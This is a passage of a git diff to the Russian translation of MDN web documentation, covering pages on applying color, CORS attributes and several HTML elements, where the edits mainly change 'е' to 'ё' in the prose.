href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a>, чтобы узнать больше.</dd> <dt><a href="/en-US/docs/Web/SVG">SVG</a> (Scalable Vector Graphics - Масштабируемая Векторная Графика)</dt> <dd> - <p>Позволяет создавать изображения с помощью команд, которые рисуют определенные фигуры, узоры, линии для создания конечного изображения. Команды SVG форматируются в XML, и могут размещаться непосредственно на веб-странице, или в элементе {{HTMLElement ("img")}}, как и любое другое изображение.</p> + <p>Позволяет создавать изображения с помощью команд, которые рисуют определённые фигуры, узоры, линии для создания конечного изображения. Команды SVG форматируются в XML, и могут размещаться непосредственно на веб-странице, или в элементе {{HTMLElement ("img")}}, как и любое другое изображение.</p> </dd> <dt><a href="/en-US/docs/Web/API/WebGL_API">WebGL</a></dt> <dd>Библиотека Веб-Графики (The Web Graphics Library) - это кроссплатформенный API на основе OpenGL ES, используется для создания высокопроизводительной 2D и 3D-графики в браузере. См. <a href="/en-US/docs/Learn/WebGL">Learn WebGL for 2D and 3D</a>, чтобы узнать больше..</dd> @@ -103,7 +103,7 @@ translation_of: Web/HTML/Applying_color <h3 id="Ключевые_слова">Ключевые слова</h3> -<p>Существует набор названий цветов стандартной палитры, который позволяет использовать ключевые слова вместо числового значения цвета. Ключевые слова включают основные и вторичные цвета (такие как красный (<code>red</code>), синий (<code>blue</code>), или оранжевый (<code>orange</code>)), оттенки серого (от черного (<code>black</code>) к белому (<code>white</code>), включая такие цвета как темносерый (<code>darkgray</code>) или светло-серый (<code>lightgrey</code>)), а также множество других смешанных цветов: <code>lightseagreen</code>, <code>cornflowerblue</code>, и <code>rebeccapurple</code>.</p> +<p>Существует набор названий цветов стандартной палитры, который позволяет использовать ключевые слова вместо числового значения цвета. Ключевые слова включают основные и вторичные цвета (такие как красный (<code>red</code>), синий (<code>blue</code>), или оранжевый (<code>orange</code>)), оттенки серого (от чёрного (<code>black</code>) к белому (<code>white</code>), включая такие цвета как темносерый (<code>darkgray</code>) или светло-серый (<code>lightgrey</code>)), а также множество других смешанных цветов: <code>lightseagreen</code>, <code>cornflowerblue</code>, и <code>rebeccapurple</code>.</p> <p>См. {{SectionOnPage("/en-US/docs/Web/CSS/color_value", "Color keywords", "code")}} - полный перечень всех доступных ключевых слов.</p> @@ -113,26 +113,26 @@ translation_of: Web/HTML/Applying_color <h4 id="Шестнадцатеричная_запись_в_виде_строки">Шестнадцатеричная запись в виде строки</h4> -<p>Шестнадцатеричная запись передает цвет, используя шестнадцатеричные числа, которые передают каждый компонент цвета (красный, зеленый и синий). Запись также может включать четвертый компонент: альфа-канал (или прозрачность). Каждый компонент цвета может быть представлен как число от 0 до 255 (0x00 - 0xFF) или, опционально, как число от 0 до 15 (0x0 - 0xF). Каждый компонент <em>необходимо</em> задавать используя одинаковое количество чисел. Так, если вы используете однозначное число, то итоговый цвет рассчитывается используя число каждого компонента дважды: <code>"#D"</code> превращается в <code>"#DD"</code>.</p> +<p>Шестнадцатеричная запись передаёт цвет, используя шестнадцатеричные числа, которые передают каждый компонент цвета (красный, зелёный и синий). Запись также может включать четвёртый компонент: альфа-канал (или прозрачность). Каждый компонент цвета может быть представлен как число от 0 до 255 (0x00 - 0xFF) или, опционально, как число от 0 до 15 (0x0 - 0xF). Каждый компонент <em>необходимо</em> задавать используя одинаковое количество чисел. Так, если вы используете однозначное число, то итоговый цвет рассчитывается используя число каждого компонента дважды: <code>"#D"</code> превращается в <code>"#DD"</code>.</p> <p>Цвет в шестнадцатеричной записи всегда начинается с символа <code>"#"</code>. После него начинаются шестнадцатеричные числа цветового кода. Запись не зависит от регистра.</p> <dl> <dt><code>"#rrggbb"</code></dt> - <dd>Задает полностью непрозрачный цвет, у которого компонент красного цвета представлен шестнадцатеричным числом <code>0xrr</code>, зеленого - <code>0xgg</code> и синего - <code>0xbb</code>.</dd> + <dd>Задаёт полностью непрозрачный цвет, у которого компонент красного цвета представлен шестнадцатеричным числом <code>0xrr</code>, зелёного - <code>0xgg</code> и синего - <code>0xbb</code>.</dd> <dt><code>"#rrggbbaa"</code></dt> - <dd>Задает цвет, у которого компонент красного представлен шестнадцатеричным числом <code>0xrr</code>, зеленого - <code>0xgg</code> и синего - <code>0xbb</code>. Альфа канал представлен <code>0xaa</code>; чем ниже значение, тем прозрачнее становится цвет.</dd> + <dd>Задаёт цвет, у которого компонент красного представлен шестнадцатеричным числом <code>0xrr</code>, зелёного - <code>0xgg</code> и синего - <code>0xbb</code>. Альфа канал представлен <code>0xaa</code>; чем ниже значение, тем прозрачнее становится цвет.</dd> <dt><code>"#rgb"</code></dt> - <dd>Задает цвет, у которого компонент красного представлен шестнадцатеричным числом <code>0xr</code>, зеленого - <code>0xg</code> и синего - <code>0xb</code>.</dd> + <dd>Задаёт цвет, у которого компонент красного представлен шестнадцатеричным числом <code>0xr</code>, зелёного - <code>0xg</code> и синего - <code>0xb</code>.</dd> <dt><code>"#rgba"</code></dt> - <dd>Задает цвет, у которого компонент красного представлен шестнадцатеричным числом <code>0xr</code>, зеленого - <code>0xg</code> и синего - <code>0xb</code>. Альфа канал представлен <code>0xa</code>; чем ниже значение, тем прозрачнее становится цвет.</dd> + <dd>Задаёт цвет, у которого компонент красного представлен шестнадцатеричным числом <code>0xr</code>, зелёного - <code>0xg</code> и синего - <code>0xb</code>. Альфа канал представлен <code>0xa</code>; чем ниже значение, тем прозрачнее становится цвет.</dd> </dl> <p>Например, вы можете представить непрозрачный ярко-синий цвет как <code>"#0000ff"</code> или <code>"#00f"</code>. Для того, чтобы сделать его на 25% прозрачным, вы можете использовать <code>"#0000ff44"</code> или <code>"#00f4"</code>.</p> <h4 id="RGB_запись_в_виде_функции">RGB запись в виде функции</h4> -<p>RGB запись в виде функции, как и шестнадцатеричная запись, представляет цвет, используя красный, зеленый и синий компоненты (также, опционально можно использовать компонент альфа канала для прозрачности). Но, вместо того, чтоб использовать строку, цвет определяется CSS функцией {{cssxref("rgb()")}}. Данная функция принимает как вводные параметры значения красного, зеленого и синего компонентов и, опционально, четвертого компонента - значение альфа канала.</p> +<p>RGB запись в виде функции, как и шестнадцатеричная запись, представляет цвет, используя красный, зелёный и синий компоненты (также, опционально можно использовать компонент альфа канала для прозрачности). Но, вместо того, чтоб использовать строку, цвет определяется CSS функцией {{cssxref("rgb()")}}. Данная функция принимает как вводные параметры значения красного, зелёного и синего компонентов и, опционально, четвёртого компонента - значение альфа канала.</p> <p>Допустимые значения для каждого из этих параметров:</p> @@ -152,12 +152,12 @@ translation_of: Web/HTML/Applying_color <div style="padding-bottom: 20px;"> <figure style="width: 500px;"><img alt="HSL color cylinder" src="https://mdn.mozillademos.org/files/15445/1200px-HSL_color_solid_cylinder_alpha_lowgamma.png" style="height: 375px; width: 500px;"> <figcaption> -<p><em><strong>Рис. 1. Цилиндрическая модель HSL.</strong> Hue (оттенок) определяет фактический цвет, основанный на положении вдоль цветового круга, представляя цвета видимого спектра. Saturation (насыщенность) представляет собой процентное соотношение оттенка от серого до максимально насыщенного цвета. По мере увеличения значения luminance/ lightness (светлоты) цвет переходит от самого темного к самому светлому (от черного к белому). Изображение представлено пользователем <a href="http://commons.wikimedia.org/wiki/User:SharkD">SharkD</a> в <a href="https://www.wikipedia.org/">Wikipedia</a>, распространяется на правах лицензии <a href="http://creativecommons.org/licenses/by-sa/3.0">CC BY-SA 3.0</a> .</em></p> +<p><em><strong>Рис. 1. Цилиндрическая модель HSL.</strong> Hue (оттенок) определяет фактический цвет, основанный на положении вдоль цветового круга, представляя цвета видимого спектра. Saturation (насыщенность) представляет собой процентное соотношение оттенка от серого до максимально насыщенного цвета. По мере увеличения значения luminance/ lightness (светлоты) цвет переходит от самого тёмного к самому светлому (от чёрного к белому). Изображение представлено пользователем <a href="http://commons.wikimedia.org/wiki/User:SharkD">SharkD</a> в <a href="https://www.wikipedia.org/">Wikipedia</a>, распространяется на правах лицензии <a href="http://creativecommons.org/licenses/by-sa/3.0">CC BY-SA 3.0</a> .</em></p> </figcaption> </figure> </div> -<p>Значение компонента <em>оттенок</em> (H) цветовой модели HSL определяется углом при движении вдоль окружности цилиндра от красного через желтый, зеленый, голубой, синий и маджента, и заканчивая через 360° снова красным. Данное значение определяет базовый цвет. Его можно задать в любых единицах, поддерживаемых CSS свойством {{cssxref("<angle>")}}, а именно - в градусах (<code>deg</code>), радианах (<code>rad</code>), градиентах (<code>grad</code>) или поворотах (<code>turn</code>). Но компонент <em>оттенок </em>никак не влияет на то, насколько насыщенным, ярким или темным будет цвет.</p> +<p>Значение компонента <em>оттенок</em> (H) цветовой модели HSL определяется углом при движении вдоль окружности цилиндра от красного через жёлтый, зелёный, голубой, синий и маджента, и заканчивая через 360° снова красным. Данное значение определяет базовый цвет. Его можно задать в любых единицах, поддерживаемых CSS свойством {{cssxref("<angle>")}}, а именно - в градусах (<code>deg</code>), радианах (<code>rad</code>), градиентах (<code>grad</code>) или поворотах (<code>turn</code>). Но компонент <em>оттенок </em>никак не влияет на то, насколько насыщенным, ярким или темным будет цвет.</p> <p>Компонент <em>насыщенность</em> (S) определяет количество конечного цвета из которого состоит указанный оттенок. Остальное определяется уровнем серого цвета, которое указывает компонент luminance/ lightness (L).</p> @@ -165,7 +165,7 @@ translation_of: Web/HTML/Applying_color <ol> <li>Вы начинаете с базовой краски, т.е. с максимально возможной интенсивности данного цвета. Например, наиболее насыщенный синий, который может быть представлен на экране пользователя. Это компонент <em>hue (оттенок)</em>: значение представляющее <strong>угол</strong> вокруг цветового круга для насыщенного оттенка, который мы хотим использовать в качестве нашей базы.</li> - <li>Далее выберете краску серого оттенка, которая будет соответствовать тому, насколько ярким вы хотите сделать цвет. Это <em>luminance/ lightness (яркость)</em>. Вы хотите, чтобы цвет был очень ярким, практически белым или очень темным, ближе к черному, или что-то среднее? Данный компонент определяется в процентах, где 0% - совершенный черный цвет и 100% - совершенный белый (независимо от насыщенности или оттенка). Средние значения - это буквальная серая область.</li> + <li>Далее выберете краску серого оттенка, которая будет соответствовать тому, насколько ярким вы хотите сделать цвет. Это <em>luminance/ lightness (яркость)</em>. Вы хотите, чтобы цвет был очень ярким, практически белым или очень темным, ближе к чёрному, или что-то среднее? Данный компонент определяется в процентах, где 0% - совершенный чёрный цвет и 100% - совершенный белый (независимо от насыщенности или оттенка). Средние значения - это буквальная серая область.</li> <li>Теперь, когда у есть серый цвет и идеально насыщенный цвет, вам необходимо их смешать. Компонент <em>saturation (насыщенность) </em>определяет какой процент конечного цвета должен состоять из идеально насыщенного цвета. Остаток конечного цвета формируется серым цветом, который представляет насыщенность.</li> </ol> @@ -245,7 +245,7 @@ th { <p>Самый простой способ присвоить цвет элементу и то, как это обычно делается - это просто указать цвет в CSS. Мы не будем останавливаться на каждом из вышеупомянутых свойств, а просто рассмотрим несколько примеров. Где бы вы не использовали цвет, принцип один и тот же.</p> -<p>Давайте начнем наш пример с результата, который нам нужно достичь:</p> +<p>Давайте начнём наш пример с результата, который нам нужно достичь:</p> <p> </p> @@ -253,7 +253,7 @@ th { <h4 id="HTML">HTML</h4> -<p>HTML, который создает вышеупомянутый пример:</p> +<p>HTML, который создаёт вышеупомянутый пример:</p> <pre class="brush: html"><div class="wrapper"> <div class="box boxLeft"> @@ -268,7 +268,7 @@ th { </div> </div></pre> -<p>Все довольно просто: первый {{HTMLElement("div")}} используется как обертка (wrapper) содержимого, которое состоит из еще двух <code><div></code>, каждый из которых содержит один параграф ({{HTMLElement("p")}}) и имеет свой стиль.</p> +<p>Все довольно просто: первый {{HTMLElement("div")}} используется как обёртка (wrapper) содержимого, которое состоит из ещё двух <code><div></code>, каждый из которых содержит один параграф ({{HTMLElement("p")}}) и имеет свой стиль.</p> <p>Все волшебство, как всегда, происходит в CSS, где мы и будем присваивать цвет к данным HTML элементам..</p> @@ -307,7 +307,7 @@ th { <p> </p> -<p>Вкратце класс <code>.box</code> устанавливает размер каждого блока и параметры шрифта. Также мы используем <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS Flexbox</a>, чтобы с легкостью отцентрировать содержимое каждого блока. Мы включаем режим <code>flex</code> с помощью {{cssxref("display", "display: flex")}}, и присваиваем значение center {{cssxref("justify-content")}} и {{cssxref("align-items")}}. Затем мы создаем отдельные классы для каждого из двух блоков, которые определят индивидуальные свойства.</p> +<p>Вкратце класс <code>.box</code> устанавливает размер каждого блока и параметры шрифта. Также мы используем <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS Flexbox</a>, чтобы с лёгкостью отцентрировать содержимое каждого блока. Мы включаем режим <code>flex</code> с помощью {{cssxref("display", "display: flex")}}, и присваиваем значение center {{cssxref("justify-content")}} и {{cssxref("align-items")}}. Затем мы создаём отдельные классы для каждого из двух блоков, которые определят индивидуальные свойства.</p> <p> </p> @@ -324,7 +324,7 @@ th { <ul> <li>{{cssxref("background-color")}} определяет цвет фона блока значением <code>rgb(245, 130, 130)</code>.</li> <li>{{cssxref("outline")}}, в отличие от привычного нам свойства <code>border</code>, не влияет на положение блока и его ширину. <code>Outline</code> представлен сплошной, темно-красной линией, шириной в 2 пикселя. Обратите внимание на ключевое слово <code>darkred</code>, которое используется для определение цвета.</li> - <li>Обратите внимание, что мы не определяем значение цвета текста. Это означает, что свойство {{cssxref("color")}} будет унаследовано от ближайшего родительского элемента, у которого это свойство определено. По умолчанию это черный цвет.</li> + <li>Обратите внимание, что мы не определяем значение цвета текста. Это означает, что свойство {{cssxref("color")}} будет унаследовано от ближайшего родительского элемента, у которого это свойство определено. По умолчанию это чёрный цвет.</li> </ul> <p> </p> @@ -346,8 +346,8 @@ th { <li><code>background-color</code> определяется значением HSL: <code>hsl(270deg, 50%, 75%)</code>. Это светло-фиолетовый цвет.</li> <li><code>Outline</code> блока определяет, что вокруг блока должна быть прерывистая линия, шириной в четыре пикселя, фиолетового цвета немного темнее, чем цвет фона (<code>rgb(110, 20, 120)</code>).</li> <li>Цвет текста определяется свойством {{cssxref("color")}}, значение которого <code>hsl(0deg, 100%, 100%)</code>. Это один из многих способов задать белый цвет.</li> - <li>С помощью {{cssxref("text-decoration")}} мы добавляем зеленую волнистую линию под текстом.</li> - <li>И наконец, свойство {{cssxref("text-shadow")}} добавляет небольшую черную тень тексту.</li> + <li>С помощью {{cssxref("text-decoration")}} мы добавляем зелёную волнистую линию под текстом.</li> + <li>И наконец, свойство {{cssxref("text-shadow")}} добавляет небольшую чёрную тень тексту.</li> </ul> <h2 id="Предоставляем_возможность_пользователю_выбрать_цвет">Предоставляем возможность пользователю выбрать цвет</h2> diff --git a/files/ru/web/html/attributes/crossorigin/index.html b/files/ru/web/html/attributes/crossorigin/index.html index b0b744eb5d..b709a2876b 100644 --- a/files/ru/web/html/attributes/crossorigin/index.html +++ b/files/ru/web/html/attributes/crossorigin/index.html @@ -14,16 +14,16 @@ original_slug: Web/HTML/CORS_settings_attributes </tr> <tr> <td><code>anonymous</code></td> - <td>CORS запросы от этого элемента не будут передавать учетные данные.</td> + <td>CORS запросы от этого элемента не будут передавать учётные данные.</td> </tr> <tr> <td><code>use-credentials</code></td> - <td>CORS запросы от этого элемента будут передавать учетные данные.</td> + <td>CORS запросы от этого элемента будут передавать учётные данные.</td> </tr> </tbody> </table> -<p>По умолчанию (если значение атрибута не задано), CORS не используется вообще. Ключевое слово "anonymous" означает что не будет обмена <strong>учетных данных</strong>(user credentials) через cookies, client-side SSL сертификаты или HTTP аутентификацию как описано в <a class="external" href="http://www.w3.org/TR/cors/#user-credentials">Секции Терминология CORS спецификации</a>.</p> +<p>По умолчанию (если значение атрибута не задано), CORS не используется вообще. Ключевое слово "anonymous" означает что не будет обмена <strong>учётных данных</strong>(user credentials) через cookies, client-side SSL сертификаты или HTTP аутентификацию как описано в <a class="external" href="http://www.w3.org/TR/cors/#user-credentials">Секции Терминология CORS спецификации</a>.</p> <p>Неправильное ключевое слово или пустая строка, будет обработано как <code>anonymous</code>.</p> diff --git a/files/ru/web/html/attributes/index.html b/files/ru/web/html/attributes/index.html index 874a7d2137..2e63f37bcd 100644 --- a/files/ru/web/html/attributes/index.html +++ b/files/ru/web/html/attributes/index.html @@ -113,7 +113,7 @@ translation_of: Web/HTML/Attributes <tr> <td><code>manifest</code></td> <td>{{ HTMLElement("html") }}</td> - <td>Задает URL кешированного манифеста документа.</td> + <td>Задаёт URL кешированного манифеста документа.</td> </tr> <tr> <td><code>max</code></td> @@ -153,7 +153,7 @@ translation_of: Web/HTML/Attributes <tr> <td><code>novalidate</code></td> <td>{{ HTMLElement("form") }}</td> - <td>Этот атрибут указывает, что форма не должна проверяться, когда передается на сервер.</td> + <td>Этот атрибут указывает, что форма не должна проверяться, когда передаётся на сервер.</td> </tr> <tr> <td><code>open</code></td> diff --git a/files/ru/web/html/block-level_elements/index.html b/files/ru/web/html/block-level_elements/index.html index ce640274c9..2dc399414a 100644 --- a/files/ru/web/html/block-level_elements/index.html +++ b/files/ru/web/html/block-level_elements/index.html @@ -47,7 +47,7 @@ translation_of: Web/HTML/Block-level_elements <h2 id="Элементы">Элементы</h2> -<p><span id="result_box" lang="ru"><span class="hps">Ниже приведен</span> <span class="hps">полный список всех</span> блочных <span class="hps">элементов</span> <span class="hps">(хотя </span></span>формально <span lang="ru"><span class="hps">понятие </span></span>«<span lang="ru"><span>блочный</span></span>» не применяется <span lang="ru"><span class="hps">к</span> новым <span class="hps">элементам</span> <span class="hps">в HTML5</span><span>)</span><span>.</span></span></p> +<p><span id="result_box" lang="ru"><span class="hps">Ниже приведён</span> <span class="hps">полный список всех</span> блочных <span class="hps">элементов</span> <span class="hps">(хотя </span></span>формально <span lang="ru"><span class="hps">понятие </span></span>«<span lang="ru"><span>блочный</span></span>» не применяется <span lang="ru"><span class="hps">к</span> новым <span class="hps">элементам</span> <span class="hps">в HTML5</span><span>)</span><span>.</span></span></p> <div class="threecolumns"> <dl> diff --git a/files/ru/web/html/cors_enabled_image/index.html b/files/ru/web/html/cors_enabled_image/index.html index 5c36131100..1a2ccf817e 100644 --- a/files/ru/web/html/cors_enabled_image/index.html +++ b/files/ru/web/html/cors_enabled_image/index.html @@ -31,7 +31,7 @@ translation_of: Web/HTML/CORS_enabled_image <li>Вызов {{domxref("HTMLCanvasElement.toDataURL", "toDataURL()")}} на canvas</li> </ul> -<p>Попытка обратиться к ним, когда холст испорчен, приведет к возникновению ошибки безопасности <code>SecurityError</code>. Это защищает пользователей от доступа к личным данным с помощью изображений для извлечения информации с удаленных веб-сайтов без разрешения.</p> +<p>Попытка обратиться к ним, когда холст испорчен, приведёт к возникновению ошибки безопасности <code>SecurityError</code>. Это защищает пользователей от доступа к личным данным с помощью изображений для извлечения информации с удалённых веб-сайтов без разрешения.</p> <h2 id="Хранение_изображений_из_внешнего_источника">Хранение изображений из внешнего источника</h2> @@ -58,7 +58,7 @@ translation_of: Web/HTML/CORS_enabled_image <p>Теперь, когда сервер настроен так, чтобы разрешить извлечение изображений из разных источников, мы можем написать код, который позволяет пользователю сохранять их в <a href="/ru/docs/Web/API/Web_Storage_API">локальном хранилище</a>, как если бы они обслуживались из того же домена, на котором выполняется код.</p> -<p>Ключевым моментом является использование атрибута {{htmlattrxref("crossorigin")}} путем установки {{domxref("HTMLImageElement.crossOrigin", "crossOrigin")}} в элементе {{domxref("HTMLImageElement")}} , на который будет загружено изображение. Это даёт браузеру команду на запрос доступа к другому источнику при попытке загрузить данные изображения.</p> +<p>Ключевым моментом является использование атрибута {{htmlattrxref("crossorigin")}} путём установки {{domxref("HTMLImageElement.crossOrigin", "crossOrigin")}} в элементе {{domxref("HTMLImageElement")}} , на который будет загружено изображение. Это даёт браузеру команду на запрос доступа к другому источнику при попытке загрузить данные изображения.</p> <h4 id="Запуск_загрузки">Запуск загрузки</h4> diff --git a/files/ru/web/html/element/a/index.html b/files/ru/web/html/element/a/index.html index dff65ceb59..23d1ab1ea8 100644 --- a/files/ru/web/html/element/a/index.html +++ b/files/ru/web/html/element/a/index.html @@ -211,7 +211,7 @@ translation_of: Web/HTML/Element/a <dt>{{htmlattrdef("methods")}}<strong style="font-weight: 700; line-height: 1.5;"> </strong>{{Non-standard_inline}}</dt> <dd>Значение этого атрибута предоставляет информацию о функциях, которые могут быть выполнены на объекте. Обычно значения даны HTTP-протоколом, когда он использован, но может (для похожих целей, как для атрибута <code>title</code>) быть полезным для включения контрольной информации в ссылке. Например, браузер может выбрать другой тип рендеринга для ссылки как функцию определённых методов; что-то, что может быть найдено, может иметь другую иконку, или внешняя ссылка может получить индикатор перехода с текущего сайта. Этот элемент не понимается или не поддерживается полностью даже браузером Internet Explorer 4, который определил этот атрибут. <a class="external" href="http://msdn.microsoft.com/en-us/library/ms534168(VS.85).aspx">Значения <code>methods</code> (MSDN)</a>.</dd> <dt>{{htmlattrdef("urn")}}<strong style="font-size: 14px; font-weight: 700; line-height: 1.5;"> </strong>{{Non-standard_inline}}</dt> - <dd>Этот атрибут, предложенный Micosoft, определяет отношения уникального названия ресурса (URN) с ссылкой. Хотя он основан на стандартах работы нескольких лет назад, значение URN всё еще не определено полностью, поэтому этот атрибут не имеет значения. <a class="external" href="http://msdn.microsoft.com/en-us/library/ms534710(VS.85).aspx">Значения <font face="Consolas, Liberation Mono, Courier, monospace">urn</font> (MSDN)</a>.</dd> + <dd>Этот атрибут, предложенный Micosoft, определяет отношения уникального названия ресурса (URN) с ссылкой. Хотя он основан на стандартах работы нескольких лет назад, значение URN всё ещё не определено полностью, поэтому этот атрибут не имеет значения. <a class="external" href="http://msdn.microsoft.com/en-us/library/ms534710(VS.85).aspx">Значения <font face="Consolas, Liberation Mono, Courier, monospace">urn</font> (MSDN)</a>.</dd> </dl> <h2 id="Example" name="Example">Примеры</h2> @@ -308,7 +308,7 @@ document.body.appendChild(link); <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> <p>{{Compat("html.elements.a")}}</p> @@ -379,7 +379,7 @@ document.body.appendChild(link); <p>HTML 3.2 включает в себя только <code>name</code>, <code>href</code>, <code>rel</code>, <code>rev</code> и <code>title</code>.</p> -<p>Атрибут <code>target</code> не работает в браузерах, не поддерживающих фреймы, таких как Netscape 1 generation. Кроме того, <code>target</code> не допускается в «строгих» вариантах <a href="/en/XHTML" title="en/XHTML">XHTML</a>, но разрешен в формах frameset или «переходных» формах.</p> +<p>Атрибут <code>target</code> не работает в браузерах, не поддерживающих фреймы, таких как Netscape 1 generation. Кроме того, <code>target</code> не допускается в «строгих» вариантах <a href="/en/XHTML" title="en/XHTML">XHTML</a>, но разрешён в формах frameset или «переходных» формах.</p> <h3 id="Рекомендации_по_JavaScript">Рекомендации по JavaScript</h3> diff --git a/files/ru/web/html/element/abbr/index.html b/files/ru/web/html/element/abbr/index.html index bafacbbc6e..0baa39703f 100644 --- a/files/ru/web/html/element/abbr/index.html +++ b/files/ru/web/html/element/abbr/index.html @@ -182,5 +182,5 @@ translation_of: Web/HTML/Element/abbr <ul> <li><a href="/ru/Learn/HTML/Element/abbr">Использование элемента <abbr></a></li> <li>Другие <a href="/ru/docs/HTML/Text_level_semantics_conveying_elements" title="HTML/Text level semantics conveying elements">элементы, являющиеся семантически текстовыми</a>: {{HTMLElement("a")}}, {{HTMLElement("em")}}, {{HTMLElement("strong")}}, {{HTMLElement("small")}}, {{HTMLElement("cite")}}, {{HTMLElement("q")}}, {{HTMLElement("dfn")}}, {{HTMLElement("time")}}, {{HTMLElement("code")}}, {{HTMLElement("var")}}, {{HTMLElement("samp")}}, {{HTMLElement("kbd")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{HTMLElement("b")}}, {{HTMLElement("i")}}, {{HTMLElement("mark")}}, {{HTMLElement("ruby")}}, {{HTMLElement("rp")}}, {{HTMLElement("rt")}}, {{HTMLElement("bdo")}}, {{HTMLElement("span")}}, {{HTMLElement("br")}}, {{HTMLElement("wbr")}}.</li> - <li>Устаревший элемент {{HTMLElement("acronym")}}, который был заменен элементом <code><abbr></code>.</li> + <li>Устаревший элемент {{HTMLElement("acronym")}}, который был заменён элементом <code><abbr></code>.</li> </ul> diff --git a/files/ru/web/html/element/acronym/index.html b/files/ru/web/html/element/acronym/index.html index 2f9af89af9..369030b776 100644 --- a/files/ru/web/html/element/acronym/index.html +++ b/files/ru/web/html/element/acronym/index.html @@ -36,7 +36,7 @@ translation_of: Web/HTML/Element/acronym <ul> <li>Некоторые, например, Internet Explorer, не стилизуют его, и он выглядит неотличимо от обычного {{HTMLElement("span")}}.</li> - <li>Opera, Firefox и некоторые други браузеры подчеркивают его точками.</li> + <li>Opera, Firefox и некоторые други браузеры подчёркивают его точками.</li> <li>Малая часть браузеров помимо подчёркивания точками также меняют начертание текста на капитель (small caps). Во избежание такого поведения, как вариант, необходимо добавить {{cssxref('font-variant')}}<code>: none</code> в CSS стиль.</li> </ul> diff --git a/files/ru/web/html/element/address/index.html b/files/ru/web/html/element/address/index.html index 2378f1c42d..db0b3f3713 100644 --- a/files/ru/web/html/element/address/index.html +++ b/files/ru/web/html/element/address/index.html @@ -11,7 +11,7 @@ translation_of: Web/HTML/Element/address --- <p id="Summary">{{HTMLRef}}</p> -<p><strong>HTML- тег <code><address></code> </strong>задает контактные данные для ближайшего родительского {{HTMLElement("article")}} или {{HTMLElement("body")}} ; В последнем случае применяется ко всему документу, визуально выделяется курсивом.</p> +<p><strong>HTML- тег <code><address></code> </strong>задаёт контактные данные для ближайшего родительского {{HTMLElement("article")}} или {{HTMLElement("body")}} ; В последнем случае применяется ко всему документу, визуально выделяется курсивом.</p> <div class="note"> <p><strong>Примечание:</strong></p> @@ -70,7 +70,7 @@ translation_of: Web/HTML/Element/address <p><img alt="Image:HTML-address.png" src="/@api/deki/files/238/=HTML-address.png"></p> -<p>Помимо элемента {{HTMLElement("address")}}, с такими же стандартными стилями как и он текст отображают {{HTMLElement("i")}} или {{HTMLElement("em")}} элементы, более правильно использовать его, когда имеете дело с контактной информацией, так как он передает дополнительную семантическую информацию.</p> +<p>Помимо элемента {{HTMLElement("address")}}, с такими же стандартными стилями как и он текст отображают {{HTMLElement("i")}} или {{HTMLElement("em")}} элементы, более правильно использовать его, когда имеете дело с контактной информацией, так как он передаёт дополнительную семантическую информацию.</p> <h2 id="Specifications" name="Specifications">Спецификации</h2> diff --git a/files/ru/web/html/element/applet/index.html b/files/ru/web/html/element/applet/index.html index 8ff6d23951..2051209ae0 100644 --- a/files/ru/web/html/element/applet/index.html +++ b/files/ru/web/html/element/applet/index.html @@ -8,7 +8,7 @@ translation_of: Web/HTML/Element/applet <p>Элемент HTML апплет (<applet>) определяет включение апплета java.</p> <div class="note"> -<p>Примечание: {{htmlelement("applet")}} элемент был удален в <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1279218">Gecko 56</a> и <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=470301">Chrome</a> в конце 2015 года. Удаление рассматривается в <a href="https://bugs.webkit.org/show_bug.cgi?id=157926">WebKit</a> и <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/11946645/">Edge</a>.</p> +<p>Примечание: {{htmlelement("applet")}} элемент был удалён в <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1279218">Gecko 56</a> и <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=470301">Chrome</a> в конце 2015 года. Удаление рассматривается в <a href="https://bugs.webkit.org/show_bug.cgi?id=157926">WebKit</a> и <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/11946645/">Edge</a>.</p> </div> <h2 id="Attributes" name="Attributes">Атрибуты</h2> diff --git a/files/ru/web/html/element/area/index.html b/files/ru/web/html/element/area/index.html index c161b623e6..052718aaaa 100644 --- a/files/ru/web/html/element/area/index.html +++ b/files/ru/web/html/element/area/index.html @@ -3,7 +3,7 @@ title: <area> slug: Web/HTML/Element/area translation_of: Web/HTML/Element/area --- -<div><strong>HTML <code><area></code> элемент </strong>определяет активную область на изображении и, при желании, связывает ее с {{Glossary("Hyperlink", "гипертекстовой ссылкой")}}. Этот элемент используется только внутри элемента {{HTMLElement("map")}}.</div> +<div><strong>HTML <code><area></code> элемент </strong>определяет активную область на изображении и, при желании, связывает её с {{Glossary("Hyperlink", "гипертекстовой ссылкой")}}. Этот элемент используется только внутри элемента {{HTMLElement("map")}}.</div> <div>{{EmbedInteractiveExample("pages/tabbed/area.html", "tabbed-taller")}}</div> @@ -16,7 +16,7 @@ translation_of: Web/HTML/Element/area <td><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Content_categories#Flow_content" rel="nofollow">Элементы потока</a>, <a href="ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразового контента</a>.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td>Нет, это {{Glossary("пустой элемент")}}.</td> </tr> <tr> @@ -32,7 +32,7 @@ translation_of: Web/HTML/Element/area </td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Нет</td> </tr> <tr> @@ -53,12 +53,12 @@ translation_of: Web/HTML/Element/area <dl> <dt>{{htmlattrdef("alt")}}</dt> - <dd>С помощью этого атрибута задается альтернативный текст, описывающий изображение, если оно не доступно. Он должен быть сформулирован так, чтобы предоставить пользователю тот же выбор, что и изображение, которое отрисуется без альтернативного текста. В HTML4 данный 